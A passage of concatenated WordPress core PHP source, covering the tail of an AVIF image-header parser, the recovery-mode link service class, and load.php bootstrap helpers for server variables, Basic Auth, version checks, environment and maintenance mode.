          return INVALID;
        }
        if ( !( $data = read( $this->handle, 1 ) ) ) {
          return TRUNCATED;
        }
        $bit_depth = read_big_endian( $data, 1 );
        if ( $bit_depth < 1 ) {
          return INVALID;
        }
        for ( $i = 1; $i < $num_channels; ++$i ) {
          if ( !( $data = read( $this->handle, 1 ) ) ) {
            return TRUNCATED;
          }
          // Bit depth should be the same for all channels.
          if ( read_big_endian( $data, 1 ) != $bit_depth ) {
            return INVALID;
          }
          if ( $i > 32 ) {
            return ABORTED; // Be reasonable.
          }
        }
        if ( count( $this->features->chan_props ) <= MAX_FEATURES &&
             $box_index <= MAX_VALUE && $bit_depth <= MAX_VALUE &&
             $num_channels <= MAX_VALUE ) {
          $chan_prop_count = count( $this->features->chan_props );
          $this->features->chan_props[$chan_prop_count]                 = new Chan_Prop();
          $this->features->chan_props[$chan_prop_count]->property_index = $box_index;
          $this->features->chan_props[$chan_prop_count]->bit_depth      = $bit_depth;
          $this->features->chan_props[$chan_prop_count]->num_channels   = $num_channels;
        } else {
          $this->data_was_skipped = true;
        }
        if ( !skip( $this->handle, $box->content_size - ( 1 + $num_channels ) ) ) {
          return TRUNCATED;
        }
      } else if ( $box->type == 'av1C' ) {
        // See AV1 Codec ISO Media File Format Binding 2.3.1
        // at https://aomediacodec.github.io/av1-isobmff/#av1c
        // Only parse the necessary third byte. Assume that the others are valid.
        if ( $box->content_size < 3 ) {
          return INVALID;
        }
        if ( !( $data = read( $this->handle, 3 ) ) ) {
          return TRUNCATED;
        }
        $byte          = read_big_endian( substr( $data, 2, 1 ), 1 );
        $high_bitdepth = ( $byte & 0x40 ) != 0;
        $twelve_bit    = ( $byte & 0x20 ) != 0;
        $monochrome    = ( $byte & 0x10 ) != 0;
        if ( $twelve_bit && !$high_bitdepth ) {
            return INVALID;
        }
        if ( count( $this->features->chan_props ) <= MAX_FEATURES &&
             $box_index <= MAX_VALUE ) {
          $chan_prop_count = count( $this->features->chan_props );
          $this->features->chan_props[$chan_prop_count]                 = new Chan_Prop();
          $this->features->chan_props[$chan_prop_count]->property_index = $box_index;
          $this->features->chan_props[$chan_prop_count]->bit_depth      =
              $high_bitdepth ? $twelve_bit ? 12 : 10 : 8;
          $this->features->chan_props[$chan_prop_count]->num_channels   = $monochrome ? 1 : 3;
        } else {
          $this->data_was_skipped = true;
        }
        if ( !skip( $this->handle, $box->content_size - 3 ) ) {
          return TRUNCATED;
        }
      } else if ( $box->type == 'auxC' ) {
        // See AV1 Image File Format (AVIF) 4
        // at https://aomediacodec.github.io/av1-avif/#auxiliary-images
        $kAlphaStr       = "urn:mpeg:mpegB:cicp:systems:auxiliary:alpha\0";
        $kAlphaStrLength = 44; // Includes terminating character.
        if ( $box->content_size >= $kAlphaStrLength ) {
          if ( !( $data = read( $this->handle, $kAlphaStrLength ) ) ) {
            return TRUNCATED;
          }
          if ( substr( $data, 0, $kAlphaStrLength ) == $kAlphaStr ) {
            // Note: It is unlikely but it is possible that this alpha plane does
            //       not belong to the primary item or a tile. Ignore this issue.
            $this->features->has_alpha = true;
          }
          if ( !skip( $this->handle, $box->content_size - $kAlphaStrLength ) ) {
            return TRUNCATED;
          }
        } else {
          if ( !skip( $this->handle, $box->content_size ) ) {
            return TRUNCATED;
          }
        }
      } else {
        if ( !skip( $this->handle, $box->content_size ) ) {
          return TRUNCATED;
        }
      }
      ++$box_index;
      $num_remaining_bytes -= $box->size;
    } while ( $num_remaining_bytes > 0 );
    return NOT_FOUND;
  }

  /**
   * Parses an "iprp" box.
   *
   * The "ipco" box contain the properties which are linked to items by the "ipma" box.
   *
   * @param stream  $handle              The resource the box will be parsed from.
   * @param int     $num_remaining_bytes The number of bytes that should be available from the resource.
   * @return Status                      FOUND on success or an error on failure.
   */
  private function parse_iprp( $num_remaining_bytes ) {
    do {
      $box    = new Box();
      $status = $box->parse( $this->handle, $this->num_parsed_boxes, $num_remaining_bytes );
      if ( $status != FOUND ) {
        return $status;
      }

      if ( $box->type == 'ipco' ) {
        $status = $this->parse_ipco( $box->content_size );
        if ( $status != NOT_FOUND ) {
          return $status;
        }
      } else if ( $box->type == 'ipma' ) {
        // See ISO/IEC 23008-12:2017(E) 9.3.2
        $num_read_bytes = 4;
        if ( $box->content_size < $num_read_bytes ) {
          return INVALID;
        }
        if ( !( $data = read( $this->handle, $num_read_bytes ) ) ) {
          return TRUNCATED;
        }
        $entry_count        = read_big_endian( $data, 4 );
        $id_num_bytes       = ( $box->version < 1 ) ? 2 : 4;
        $index_num_bytes    = ( $box->flags & 1 ) ? 2 : 1;
        $essential_bit_mask = ( $box->flags & 1 ) ? 0x8000 : 0x80;

        for ( $entry = 0; $entry < $entry_count; ++$entry ) {
          if ( $entry >= MAX_PROPS ||
               count( $this->features->props ) >= MAX_PROPS ) {
            $this->data_was_skipped = true;
            break;
          }
          $num_read_bytes += $id_num_bytes + 1;
          if ( $box->content_size < $num_read_bytes ) {
            return INVALID;
          }
          if ( !( $data = read( $this->handle, $id_num_bytes + 1 ) ) ) {
            return TRUNCATED;
          }
          $item_id           = read_big_endian(
              substr( $data, 0, $id_num_bytes ), $id_num_bytes );
          $association_count = read_big_endian(
              substr( $data, $id_num_bytes, 1 ), 1 );

          for ( $property = 0; $property < $association_count; ++$property ) {
            if ( $property >= MAX_PROPS ||
                 count( $this->features->props ) >= MAX_PROPS ) {
              $this->data_was_skipped = true;
              break;
            }
            $num_read_bytes += $index_num_bytes;
            if ( $box->content_size < $num_read_bytes ) {
              return INVALID;
            }
            if ( !( $data = read( $this->handle, $index_num_bytes ) ) ) {
              return TRUNCATED;
            }
            $value          = read_big_endian( $data, $index_num_bytes );
            // $essential = ($value & $essential_bit_mask);  // Unused.
            $property_index = ( $value & ~$essential_bit_mask );
            if ( $property_index <= MAX_VALUE && $item_id <= MAX_VALUE ) {
              $prop_count = count( $this->features->props );
              $this->features->props[$prop_count]                 = new Prop();
              $this->features->props[$prop_count]->property_index = $property_index;
              $this->features->props[$prop_count]->item_id        = $item_id;
            } else {
              $this->data_was_skipped = true;
            }
          }
          if ( $property < $association_count ) {
            break; // Do not read garbage.
          }
        }

        // If all features are available now, do not look further.
        $status = $this->features->get_primary_item_features();
        if ( $status != NOT_FOUND ) {
          return $status;
        }

        // Mostly if 'data_was_skipped'.
        if ( !skip( $this->handle, $box->content_size - $num_read_bytes ) ) {
          return TRUNCATED;
        }
      } else {
        if ( !skip( $this->handle, $box->content_size ) ) {
          return TRUNCATED;
        }
      }
      $num_remaining_bytes -= $box->size;
    } while ( $num_remaining_bytes > 0 );
    return NOT_FOUND;
  }

  /**
   * Parses an "iref" box.
   *
   * The "dimg" boxes contain links between tiles and their parent items, which
   * can be used to infer bit depth and number of channels for the primary item
   * when the latter does not have these properties.
   *
   * @param stream  $handle              The resource the box will be parsed from.
   * @param int     $num_remaining_bytes The number of bytes that should be available from the resource.
   * @return Status                      FOUND on success or an error on failure.
   */
  private function parse_iref( $num_remaining_bytes ) {
    do {
      $box    = new Box();
      $status = $box->parse( $this->handle, $this->num_parsed_boxes, $num_remaining_bytes );
      if ( $status != FOUND ) {
        return $status;
      }

      if ( $box->type == 'dimg' ) {
        // See ISO/IEC 14496-12:2015(E) 8.11.12.2
        $num_bytes_per_id = ( $box->version == 0 ) ? 2 : 4;
        $num_read_bytes   = $num_bytes_per_id + 2;
        if ( $box->content_size < $num_read_bytes ) {
          return INVALID;
        }
        if ( !( $data = read( $this->handle, $num_read_bytes ) ) ) {
          return TRUNCATED;
        }
        $from_item_id    = read_big_endian( $data, $num_bytes_per_id );
        $reference_count = read_big_endian( substr( $data, $num_bytes_per_id, 2 ), 2 );

        for ( $i = 0; $i < $reference_count; ++$i ) {
          if ( $i >= MAX_TILES ) {
            $this->data_was_skipped = true;
            break;
          }
          $num_read_bytes += $num_bytes_per_id;
          if ( $box->content_size < $num_read_bytes ) {
            return INVALID;
          }
          if ( !( $data = read( $this->handle, $num_bytes_per_id ) ) ) {
            return TRUNCATED;
          }
          $to_item_id = read_big_endian( $data, $num_bytes_per_id );
          $tile_count = count( $this->features->tiles );
          if ( $from_item_id <= MAX_VALUE && $to_item_id <= MAX_VALUE &&
               $tile_count < MAX_TILES ) {
            $this->features->tiles[$tile_count]                 = new Tile();
            $this->features->tiles[$tile_count]->tile_item_id   = $to_item_id;
            $this->features->tiles[$tile_count]->parent_item_id = $from_item_id;
          } else {
            $this->data_was_skipped = true;
          }
        }

        // If all features are available now, do not look further.
        $status = $this->features->get_primary_item_features();
        if ( $status != NOT_FOUND ) {
          return $status;
        }

        // Mostly if 'data_was_skipped'.
        if ( !skip( $this->handle, $box->content_size - $num_read_bytes ) ) {
          return TRUNCATED;
        }
      } else {
        if ( !skip( $this->handle, $box->content_size ) ) {
          return TRUNCATED;
        }
      }
      $num_remaining_bytes -= $box->size;
    } while ( $num_remaining_bytes > 0 );
    return NOT_FOUND;
  }

  /**
   * Parses a "meta" box.
   *
   * It looks for the primary item ID in the "pitm" box and recurses into other boxes
   * to find its features.
   *
   * @param stream  $handle              The resource the box will be parsed from.
   * @param int     $num_remaining_bytes The number of bytes that should be available from the resource.
   * @return Status                      FOUND on success or an error on failure.
   */
  private function parse_meta( $num_remaining_bytes ) {
    do {
      $box    = new Box();
      $status = $box->parse( $this->handle, $this->num_parsed_boxes, $num_remaining_bytes );
      if ( $status != FOUND ) {
        return $status;
      }

      if ( $box->type == 'pitm' ) {
        // See ISO/IEC 14496-12:2015(E) 8.11.4.2
        $num_bytes_per_id = ( $box->version == 0 ) ? 2 : 4;
        if ( $num_bytes_per_id > $num_remaining_bytes ) {
          return INVALID;
        }
        if ( !( $data = read( $this->handle, $num_bytes_per_id ) ) ) {
          return TRUNCATED;
        }
        $primary_item_id = read_big_endian( $data, $num_bytes_per_id );
        if ( $primary_item_id > MAX_VALUE ) {
          return ABORTED;
        }
        $this->features->has_primary_item = true;
        $this->features->primary_item_id  = $primary_item_id;
        if ( !skip( $this->handle, $box->content_size - $num_bytes_per_id ) ) {
          return TRUNCATED;
        }
      } else if ( $box->type == 'iprp' ) {
        $status = $this->parse_iprp( $box->content_size );
        if ( $status != NOT_FOUND ) {
          return $status;
        }
      } else if ( $box->type == 'iref' ) {
        $status = $this->parse_iref( $box->content_size );
        if ( $status != NOT_FOUND ) {
          return $status;
        }
      } else {
        if ( !skip( $this->handle, $box->content_size ) ) {
          return TRUNCATED;
        }
      }
      $num_remaining_bytes -= $box->size;
    } while ( $num_remaining_bytes != 0 );
    // According to ISO/IEC 14496-12:2012(E) 8.11.1.1 there is at most one "meta".
    return INVALID;
  }

  /**
   * Parses a file stream.
   *
   * The file type is checked through the "ftyp" box.
   *
   * @return bool True if the input stream is an AVIF bitstream or false.
   */
  public function parse_ftyp() {
    $box    = new Box();
    $status = $box->parse( $this->handle, $this->num_parsed_boxes );
    if ( $status != FOUND ) {
      return false;
    }

    if ( $box->type != 'ftyp' ) {
      return false;
    }
    // Iterate over brands. See ISO/IEC 14496-12:2012(E) 4.3.1
    if ( $box->content_size < 8 ) {
      return false;
    }
    for ( $i = 0; $i + 4 <= $box->content_size; $i += 4 ) {
      if ( !( $data = read( $this->handle, 4 ) ) ) {
        return false;
      }
      if ( $i == 4 ) {
        continue; // Skip minor_version.
      }
      if ( substr( $data, 0, 4 ) == 'avif' || substr( $data, 0, 4 ) == 'avis' ) {
        return skip( $this->handle, $box->content_size - ( $i + 4 ) );
      }
      if ( $i > 32 * 4 ) {
        return false; // Be reasonable.
      }

    }
    return false; // No AVIF brand no good.
  }

  /**
   * Parses a file stream.
   *
   * Features are extracted from the "meta" box.
   *
   * @return bool True if the main features of the primary item were parsed or false.
   */
  public function parse_file() {
    $box = new Box();
    while ( $box->parse( $this->handle, $this->num_parsed_boxes ) == FOUND ) {
      if ( $box->type === 'meta' ) {
        if ( $this->parse_meta( $box->content_size ) != FOUND ) {
          return false;
        }
        return true;
      }
      if ( !skip( $this->handle, $box->content_size ) ) {
        return false;
      }
    }
    return false; // No "meta" no good.
  }
}
<?php
/**
 * Error Protection API: WP_Recovery_Mode_Link_Handler class
 *
 * @package WordPress
 * @since 5.2.0
 */

/**
 * Core class used to generate and handle recovery mode links.
 *
 * @since 5.2.0
 */
#[AllowDynamicProperties]
class WP_Recovery_Mode_Link_Service {
	const LOGIN_ACTION_ENTER   = 'enter_recovery_mode';
	const LOGIN_ACTION_ENTERED = 'entered_recovery_mode';

	/**
	 * Service to generate and validate recovery mode keys.
	 *
	 * @since 5.2.0
	 * @var WP_Recovery_Mode_Key_Service
	 */
	private $key_service;

	/**
	 * Service to handle cookies.
	 *
	 * @since 5.2.0
	 * @var WP_Recovery_Mode_Cookie_Service
	 */
	private $cookie_service;

	/**
	 * WP_Recovery_Mode_Link_Service constructor.
	 *
	 * @since 5.2.0
	 *
	 * @param WP_Recovery_Mode_Cookie_Service $cookie_service Service to handle setting the recovery mode cookie.
	 * @param WP_Recovery_Mode_Key_Service    $key_service    Service to handle generating recovery mode keys.
	 */
	public function __construct( WP_Recovery_Mode_Cookie_Service $cookie_service, WP_Recovery_Mode_Key_Service $key_service ) {
		$this->cookie_service = $cookie_service;
		$this->key_service    = $key_service;
	}

	/**
	 * Generates a URL to begin recovery mode.
	 *
	 * Only one recovery mode URL can may be valid at the same time.
	 *
	 * @since 5.2.0
	 *
	 * @return string Generated URL.
	 */
	public function generate_url() {
		$token = $this->key_service->generate_recovery_mode_token();
		$key   = $this->key_service->generate_and_store_recovery_mode_key( $token );

		return $this->get_recovery_mode_begin_url( $token, $key );
	}

	/**
	 * Enters recovery mode when the user hits wp-login.php with a valid recovery mode link.
	 *
	 * @since 5.2.0
	 *
	 * @global string $pagenow The filename of the current screen.
	 *
	 * @param int $ttl Number of seconds the link should be valid for.
	 */
	public function handle_begin_link( $ttl ) {
		if ( ! isset( $GLOBALS['pagenow'] ) || 'wp-login.php' !== $GLOBALS['pagenow'] ) {
			return;
		}

		if ( ! isset( $_GET['action'], $_GET['rm_token'], $_GET['rm_key'] ) || self::LOGIN_ACTION_ENTER !== $_GET['action'] ) {
			return;
		}

		if ( ! function_exists( 'wp_generate_password' ) ) {
			require_once ABSPATH . WPINC . '/pluggable.php';
		}

		$validated = $this->key_service->validate_recovery_mode_key( $_GET['rm_token'], $_GET['rm_key'], $ttl );

		if ( is_wp_error( $validated ) ) {
			wp_die( $validated, '' );
		}

		$this->cookie_service->set_cookie();

		$url = add_query_arg( 'action', self::LOGIN_ACTION_ENTERED, wp_login_url() );
		wp_redirect( $url );
		die;
	}

	/**
	 * Gets a URL to begin recovery mode.
	 *
	 * @since 5.2.0
	 *
	 * @param string $token Recovery Mode token created by {@see generate_recovery_mode_token()}.
	 * @param string $key   Recovery Mode key created by {@see generate_and_store_recovery_mode_key()}.
	 * @return string Recovery mode begin URL.
	 */
	private function get_recovery_mode_begin_url( $token, $key ) {

		$url = add_query_arg(
			array(
				'action'   => self::LOGIN_ACTION_ENTER,
				'rm_token' => $token,
				'rm_key'   => $key,
			),
			wp_login_url()
		);

		/**
		 * Filters the URL to begin recovery mode.
		 *
		 * @since 5.2.0
		 *
		 * @param string $url   The generated recovery mode begin URL.
		 * @param string $token The token used to identify the key.
		 * @param string $key   The recovery mode key.
		 */
		return apply_filters( 'recovery_mode_begin_url', $url, $token, $key );
	}
}
<?php
/**
 * These functions are needed to load WordPress.
 *
 * @package WordPress
 */

/**
 * Returns the HTTP protocol sent by the server.
 *
 * @since 4.4.0
 *
 * @return string The HTTP protocol. Default: HTTP/1.0.
 */
function wp_get_server_protocol() {
	$protocol = isset( $_SERVER['SERVER_PROTOCOL'] ) ? $_SERVER['SERVER_PROTOCOL'] : '';

	if ( ! in_array( $protocol, array( 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0', 'HTTP/3' ), true ) ) {
		$protocol = 'HTTP/1.0';
	}

	return $protocol;
}

/**
 * Fixes `$_SERVER` variables for various setups.
 *
 * @since 3.0.0
 * @access private
 *
 * @global string $PHP_SELF The filename of the currently executing script,
 *                          relative to the document root.
 */
function wp_fix_server_vars() {
	global $PHP_SELF;

	$default_server_values = array(
		'SERVER_SOFTWARE' => '',
		'REQUEST_URI'     => '',
	);

	$_SERVER = array_merge( $default_server_values, $_SERVER );

	// Fix for IIS when running with PHP ISAPI.
	if ( empty( $_SERVER['REQUEST_URI'] )
		|| ( 'cgi-fcgi' !== PHP_SAPI && preg_match( '/^Microsoft-IIS\//', $_SERVER['SERVER_SOFTWARE'] ) )
	) {

		if ( isset( $_SERVER['HTTP_X_ORIGINAL_URL'] ) ) {
			// IIS Mod-Rewrite.
			$_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_ORIGINAL_URL'];
		} elseif ( isset( $_SERVER['HTTP_X_REWRITE_URL'] ) ) {
			// IIS Isapi_Rewrite.
			$_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_REWRITE_URL'];
		} else {
			// Use ORIG_PATH_INFO if there is no PATH_INFO.
			if ( ! isset( $_SERVER['PATH_INFO'] ) && isset( $_SERVER['ORIG_PATH_INFO'] ) ) {
				$_SERVER['PATH_INFO'] = $_SERVER['ORIG_PATH_INFO'];
			}

			// Some IIS + PHP configurations put the script-name in the path-info (no need to append it twice).
			if ( isset( $_SERVER['PATH_INFO'] ) ) {
				if ( $_SERVER['PATH_INFO'] === $_SERVER['SCRIPT_NAME'] ) {
					$_SERVER['REQUEST_URI'] = $_SERVER['PATH_INFO'];
				} else {
					$_SERVER['REQUEST_URI'] = $_SERVER['SCRIPT_NAME'] . $_SERVER['PATH_INFO'];
				}
			}

			// Append the query string if it exists and isn't null.
			if ( ! empty( $_SERVER['QUERY_STRING'] ) ) {
				$_SERVER['REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING'];
			}
		}
	}

	// Fix for PHP as CGI hosts that set SCRIPT_FILENAME to something ending in php.cgi for all requests.
	if ( isset( $_SERVER['SCRIPT_FILENAME'] ) && str_ends_with( $_SERVER['SCRIPT_FILENAME'], 'php.cgi' ) ) {
		$_SERVER['SCRIPT_FILENAME'] = $_SERVER['PATH_TRANSLATED'];
	}

	// Fix for Dreamhost and other PHP as CGI hosts.
	if ( isset( $_SERVER['SCRIPT_NAME'] ) && str_contains( $_SERVER['SCRIPT_NAME'], 'php.cgi' ) ) {
		unset( $_SERVER['PATH_INFO'] );
	}

	// Fix empty PHP_SELF.
	$PHP_SELF = $_SERVER['PHP_SELF'];
	if ( empty( $PHP_SELF ) ) {
		$_SERVER['PHP_SELF'] = preg_replace( '/(\?.*)?$/', '', $_SERVER['REQUEST_URI'] );
		$PHP_SELF            = $_SERVER['PHP_SELF'];
	}

	wp_populate_basic_auth_from_authorization_header();
}

/**
 * Populates the Basic Auth server details from the Authorization header.
 *
 * Some servers running in CGI or FastCGI mode don't pass the Authorization
 * header on to WordPress.  If it's been rewritten to the `HTTP_AUTHORIZATION` header,
 * fill in the proper $_SERVER variables instead.
 *
 * @since 5.6.0
 */
function wp_populate_basic_auth_from_authorization_header() {
	// If we don't have anything to pull from, return early.
	if ( ! isset( $_SERVER['HTTP_AUTHORIZATION'] ) && ! isset( $_SERVER['REDIRECT_HTTP_AUTHORIZATION'] ) ) {
		return;
	}

	// If either PHP_AUTH key is already set, do nothing.
	if ( isset( $_SERVER['PHP_AUTH_USER'] ) || isset( $_SERVER['PHP_AUTH_PW'] ) ) {
		return;
	}

	// From our prior conditional, one of these must be set.
	$header = isset( $_SERVER['HTTP_AUTHORIZATION'] ) ? $_SERVER['HTTP_AUTHORIZATION'] : $_SERVER['REDIRECT_HTTP_AUTHORIZATION'];

	// Test to make sure the pattern matches expected.
	if ( ! preg_match( '%^Basic [a-z\d/+]*={0,2}$%i', $header ) ) {
		return;
	}

	// Removing `Basic ` the token would start six characters in.
	$token    = substr( $header, 6 );
	$userpass = base64_decode( $token );

	// There must be at least one colon in the string.
	if ( ! str_contains( $userpass, ':' ) ) {
		return;
	}

	list( $user, $pass ) = explode( ':', $userpass, 2 );

	// Now shove them in the proper keys where we're expecting later on.
	$_SERVER['PHP_AUTH_USER'] = $user;
	$_SERVER['PHP_AUTH_PW']   = $pass;
}

/**
 * Checks for the required PHP version, and the mysqli extension or
 * a database drop-in.
 *
 * Dies if requirements are not met.
 *
 * @since 3.0.0
 * @access private
 *
 * @global string $required_php_version The required PHP version string.
 * @global string $wp_version           The WordPress version string.
 */
function wp_check_php_mysql_versions() {
	global $required_php_version, $wp_version;

	$php_version = PHP_VERSION;

	if ( version_compare( $required_php_version, $php_version, '>' ) ) {
		$protocol = wp_get_server_protocol();
		header( sprintf( '%s 500 Internal Server Error', $protocol ), true, 500 );
		header( 'Content-Type: text/html; charset=utf-8' );
		printf(
			'Your server is running PHP version %1$s but WordPress %2$s requires at least %3$s.',
			$php_version,
			$wp_version,
			$required_php_version
		);
		exit( 1 );
	}

	// This runs before default constants are defined, so we can't assume WP_CONTENT_DIR is set yet.
	$wp_content_dir = defined( 'WP_CONTENT_DIR' ) ? WP_CONTENT_DIR : ABSPATH . 'wp-content';

	if ( ! function_exists( 'mysqli_connect' )
		&& ! file_exists( $wp_content_dir . '/db.php' )
	) {
		require_once ABSPATH . WPINC . '/functions.php';
		wp_load_translations_early();

		$message = '<p>' . __( 'Your PHP installation appears to be missing the MySQL extension which is required by WordPress.' ) . "</p>\n";

		$message .= '<p>' . sprintf(
			/* translators: %s: mysqli. */
			__( 'Please check that the %s PHP extension is installed and enabled.' ),
			'<code>mysqli</code>'
		) . "</p>\n";

		$message .= '<p>' . sprintf(
			/* translators: %s: Support forums URL. */
			__( 'If you are unsure what these terms mean you should probably contact your host. If you still need help you can always visit the <a href="%s">WordPress support forums</a>.' ),
			__( 'https://wordpress.org/support/forums/' )
		) . "</p>\n";

		$args = array(
			'exit' => false,
			'code' => 'mysql_not_found',
		);
		wp_die(
			$message,
			__( 'Requirements Not Met' ),
			$args
		);
		exit( 1 );
	}
}

/**
 * Retrieves the current environment type.
 *
 * The type can be set via the `WP_ENVIRONMENT_TYPE` global system variable,
 * or a constant of the same name.
 *
 * Possible values are 'local', 'development', 'staging', and 'production'.
 * If not set, the type defaults to 'production'.
 *
 * @since 5.5.0
 * @since 5.5.1 Added the 'local' type.
 * @since 5.5.1 Removed the ability to alter the list of types.
 *
 * @return string The current environment type.
 */
function wp_get_environment_type() {
	static $current_env = '';

	if ( ! defined( 'WP_RUN_CORE_TESTS' ) && $current_env ) {
		return $current_env;
	}

	$wp_environments = array(
		'local',
		'development',
		'staging',
		'production',
	);

	// Add a note about the deprecated WP_ENVIRONMENT_TYPES constant.
	if ( defined( 'WP_ENVIRONMENT_TYPES' ) && function_exists( '_deprecated_argument' ) ) {
		if ( function_exists( '__' ) ) {
			/* translators: %s: WP_ENVIRONMENT_TYPES */
			$message = sprintf( __( 'The %s constant is no longer supported.' ), 'WP_ENVIRONMENT_TYPES' );
		} else {
			$message = sprintf( 'The %s constant is no longer supported.', 'WP_ENVIRONMENT_TYPES' );
		}

		_deprecated_argument(
			'define()',
			'5.5.1',
			$message
		);
	}

	// Check if the environment variable has been set, if `getenv` is available on the system.
	if ( function_exists( 'getenv' ) ) {
		$has_env = getenv( 'WP_ENVIRONMENT_TYPE' );
		if ( false !== $has_env ) {
			$current_env = $has_env;
		}
	}

	// Fetch the environment from a constant, this overrides the global system variable.
	if ( defined( 'WP_ENVIRONMENT_TYPE' ) && WP_ENVIRONMENT_TYPE ) {
		$current_env = WP_ENVIRONMENT_TYPE;
	}

	// Make sure the environment is an allowed one, and not accidentally set to an invalid value.
	if ( ! in_array( $current_env, $wp_environments, true ) ) {
		$current_env = 'production';
	}

	return $current_env;
}

/**
 * Retrieves the current development mode.
 *
 * The development mode affects how certain parts of the WordPress application behave,
 * which is relevant when developing for WordPress.
 *
 * Development mode can be set via the `WP_DEVELOPMENT_MODE` constant in `wp-config.php`.
 * Possible values are 'core', 'plugin', 'theme', 'all', or an empty string to disable
 * development mode. 'all' is a special value to signify that all three development modes
 * ('core', 'plugin', and 'theme') are enabled.
 *
 * Development mode is considered separately from `WP_DEBUG` and wp_get_environment_type().
 * It does not affect debugging output, but rather functional nuances in WordPress.
 *
 * This function retrieves the currently set development mode value. To check whether
 * a specific development mode is enabled, use wp_is_development_mode().
 *
 * @since 6.3.0
 *
 * @return string The current development mode.
 */
function wp_get_development_mode() {
	static $current_mode = null;

	if ( ! defined( 'WP_RUN_CORE_TESTS' ) && null !== $current_mode ) {
		return $current_mode;
	}

	$development_mode = WP_DEVELOPMENT_MODE;

	// Exclusively for core tests, rely on the `$_wp_tests_development_mode` global.
	if ( defined( 'WP_RUN_CORE_TESTS' ) && isset( $GLOBALS['_wp_tests_development_mode'] ) ) {
		$development_mode = $GLOBALS['_wp_tests_development_mode'];
	}

	$valid_modes = array(
		'core',
		'plugin',
		'theme',
		'all',
		'',
	);

	if ( ! in_array( $development_mode, $valid_modes, true ) ) {
		$development_mode = '';
	}

	$current_mode = $development_mode;

	return $current_mode;
}

/**
 * Checks whether the site is in the given development mode.
 *
 * @since 6.3.0
 *
 * @param string $mode Development mode to check for. Either 'core', 'plugin', 'theme', or 'all'.
 * @return bool True if the given mode is covered by the current development mode, false otherwise.
 */
function wp_is_development_mode( $mode ) {
	$current_mode = wp_get_development_mode();
	if ( empty( $current_mode ) ) {
		return false;
	}

	// Return true if the current mode encompasses all modes.
	if ( 'all' === $current_mode ) {
		return true;
	}

	// Return true if the current mode is the given mode.
	return $mode === $current_mode;
}

/**
 * Ensures all of WordPress is not loaded when handling a favicon.ico request.
 *
 * Instead, send the headers for a zero-length favicon and bail.
 *
 * @since 3.0.0
 * @deprecated 5.4.0 Deprecated in favor of do_favicon().
 */
function wp_favicon_request() {
	if ( '/favicon.ico' === $_SERVER['REQUEST_URI'] ) {
		header( 'Content-Type: image/vnd.microsoft.icon' );
		exit;
	}
}

/**
 * Dies with a maintenance message when conditions are met.
 *
 * The default message can be replaced by using a drop-in (maintenance.php in
 * the wp-content directory).
 *
 * @since 3.0.0
 * @access private
 */
function wp_maintenance() {
	// Return if maintenance mode is disabled.
	if ( ! wp_is_maintenance_mode() ) {
		return;
	}

	if ( file_exists( WP_CONTENT_DIR . '/maintenance.php' ) ) {
		require_once WP_CONTENT_DIR . '/maintenance.php';
		die();
	}

	require_once ABSPATH . WPINC . '/functions.php';
	wp_load_translations_early();

	header( 'Retry-After: 600' );

	wp_die(
		__( 'Briefly unavailable for scheduled maintenance. Check back in a minute.' ),
		__( 'Maintenance' ),
		503
	);
}

/**
 * Checks if maintenance mode is enabled.
 *
 * Checks for a file in the WordPress root directory named ".maintenance".
 * This file will contain the variable $upgrading, set to the time the file
 * was created. If the file was created less than 10 minutes ago, WordPress
 * is in maintenance mode.
 *
 * @since 5.5.0
 *
 * @global int $upgrading The Unix timestamp marking when upgrading WordPress began.
 *
 * @return bool True if maintenance mode is enabled, false otherwise.
 */
function wp_is_maintenance_mode() {
	global $upgrading;

	if ( ! file_exists( ABSPATH . '.maintenance' ) || wp_installing() ) {
		return false;
	}

	require ABSPATH . '.maintenance';

	// If the $upgrading timestamp is older than 10 minutes, consider maintenance over.
	if ( ( time() - $upgrading ) >= 10 * MINUTE_IN_SECONDS ) {
		return false;
	}

	/**
	 * Filters whether to enable maintenance mode.
	 *
	 * This filter runs before it can be used by plugins. It is designed for
	 * non-web runtimes. If this filter returns true, maintenance mode will be
	 * active and the request will end. If false, the request will be allowed to
	 * continue processing even if maintenance mode should be active.
	 *
	 * @since 4.6.0
	 *
	 * @param bool $enable_checks Whether to enable maintenance mode. Default true.
	 * @param int  $upgrading     The timestamp set in the .maintenance file.
	 */
	if ( ! apply_filters( 'enable_maintenance_mode', true, $upgrading ) ) {
		return false;
	}

	return true;
}

/**
 * Gets the time elapsed so far during this PHP script.
 *
 * Uses REQUEST_TIME_FLOAT that appeared in PHP 5.4.0.
 *
 * @since 5.8.0
 *
 * @return float Seconds since the PHP script started.
 */
function timer_float() {
	return microtime( true ) - $_SERVER['REQUEST_TIME_FLOAT'];
}

/**
 * Starts the WordPress micro-timer.
 *
 * @since 0.71
 * @access private
 *
 * @global float $timestart Unix timestamp set at the beginning of the page load.
 * @see timer_stop()
 *
 * @return bool Always returns true.
 */
function timer_start() {
	global $timestart;

	$timestart = microtime( true );

	return true;
}

/**
 * Retrieves or displays the time from the page start to when function is called.
 *
 * @since 0.71
 *
 * @global float   $timestart Seconds from when timer_start() is called.
 * @global float   $timeend   Seconds from when function is called.
 *
 * @param int|bool $display   Whether to echo or return the results. Accepts 0|false for return,
 *                            1|true for echo. Default 0|false.
 * @param int      $precision The number of digits from the right of the decimal to display.
 *                            Default 3.
 * @return string The "second.microsecond" finished time calculation. The number is formatted
 *                for human consumption, both localized and rounded.
 */
function timer_stop( $display = 0, $precision = 3 ) {
	global $timestart, $timeend;

	$timeend   = microtime( true );
	$timetotal = $timeend - $timestart;

	if ( function_exists( 'number_format_i18n' ) ) {
		$r = number_format_i18n( $timetotal, $precision );
	} else {
		$r = number_format( $timetotal, $precision );
	}

	if ( $display ) {
		echo $r;
	}

	return $r;
}

/**
 * Sets PHP error reporting based on WordPress debug settings.
 *
 * Uses three constants: `WP_DEBUG`, `WP_DEBUG_DISPLAY`, and `WP_DEBUG_LOG`.
 * All three can be defined in wp-config.php. By default, `WP_DEBUG` and
 * `WP_DEBUG_LOG` are set to false, and `WP_DEBUG_DISPLAY` is set to true.
 *
 * When `WP_DEBUG` is true, all PHP notices are reported. WordPress will also
 * display internal notices: when a deprecated WordPress function, function
 * argument, or file is used. Deprecated code may be removed from a later
 * version.
 *
 * It is strongly recommended that plugin and theme developers use `WP_DEBUG`
 * in their development environments.
 *
 * `WP_DEBUG_DISPLAY` and `WP_DEBUG_LOG` perform no function unless `WP_DEBUG`
 * is true.
 *
